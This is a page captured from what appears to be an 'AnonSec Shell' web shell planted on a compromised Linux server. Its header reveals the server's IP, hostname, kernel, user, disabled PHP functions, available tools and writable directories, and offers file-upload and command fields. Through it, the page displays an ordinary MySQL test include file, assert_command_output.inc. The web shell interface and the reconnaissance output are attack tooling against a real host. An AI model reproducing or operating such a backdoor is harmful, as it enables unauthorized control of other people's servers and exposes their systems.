AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.213
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/include/assert_command_output.inc
# ==== Purpose ====
#
# Execute a command and verify the following:
# - the exit status is as specified;
# - the output (stdout) matches a given regex.
#
# ==== Usage ====
#
# --let $assert_command= COMMAND
# --let $assert_regex= REGEX
# --let $assert_status= EXIT_STATUS
# [--let $assert_negated= 1]
#
# Parameters:
#
#   $assert_command
#     The command line to use.
#
#   $assert_regex
#     Assert that stdout from the command matches this Perl regex.
#
#   $assert_status
#     Assert that the command returns this exit status.
#
#   $assert_negated
#     Assert that stdout does *not* match $assert_regex.

--let $include_filename= assert_command_output.inc
--source include/begin_include_file.inc

if ($rpl_debug)
{
  --echo # debug: assert_command='$assert_command' assert_regex='$assert_regex' assert_negated='$assert_negated' assert_status='$assert_status'
}

--let _ASSERT_COMMAND= $assert_command
--let _ASSERT_REGEX= $assert_regex
--let _ASSERT_NEGATED= $assert_negated
--let _ASSERT_STATUS= $assert_status
--let $_assert_suffix= `SELECT UUID()`
--let _ASSERT_ERROR_FILE= $MYSQLTEST_VARDIR/tmp/_assert_$_assert_suffix.inc
--let _ASSERT_DEBUG= $rpl_debug

if ($rpl_debug)
{
  --echo # debug: assert_error_file='$_ASSERT_ERROR_FILE'
}

perl;
  my $cmd= $ENV{'_ASSERT_COMMAND'};
  my $positive= $ENV{'_ASSERT_NEGATED'} ? 0 : 1;
  my $regex= $ENV{'_ASSERT_REGEX'};
  my $status= $ENV{'_ASSERT_STATUS'};
  my $debug= $ENV{'_ASSERT_DEBUG'};
  my $output= `$cmd`;
  my $error= 0;
  $status= 0 if $status eq '';
  if ($status ne '*' and ($status ? $? >> 8 != $status : $? != 0))
  {
    print "ERROR: Command returned wrong exit status! " .
      "Expected '$status', got '".($?>>8)."'\n";
    $error= 1;
  }
  if ((($output =~ m{$regex}ms) ? 1 : 0) != $positive)
  {
    print "ERROR: Command produced wrong output!\n";
    print "ERROR: Command: '$cmd'\n";
    print "ERROR: Output expected to " . ($positive?'':'not '). "match " .
      "perl regex: '$regex'\n";
    $error= 1;
  }
  if (!$error)
  {
    my $file= $ENV{_ASSERT_ERROR_FILE};
    open FILE, "> $file" or die "Error opening $file: $!";
    print FILE "X" or die "Error writing to $file: $!";
    close FILE or die "Error closing $file: $!";
  }
  if ($error || $debug)
  {
    print "======== BEGIN output ========\n$output\n" .
      "======== END OUTPUT ========\n";
  }
EOF

--file_exists $_ASSERT_ERROR_FILE
--remove_file $_ASSERT_ERROR_FILE

--let $include_filename= assert_command_output.inc
--source include/end_include_file.inc

Anon7 - 2022
AnonSec Team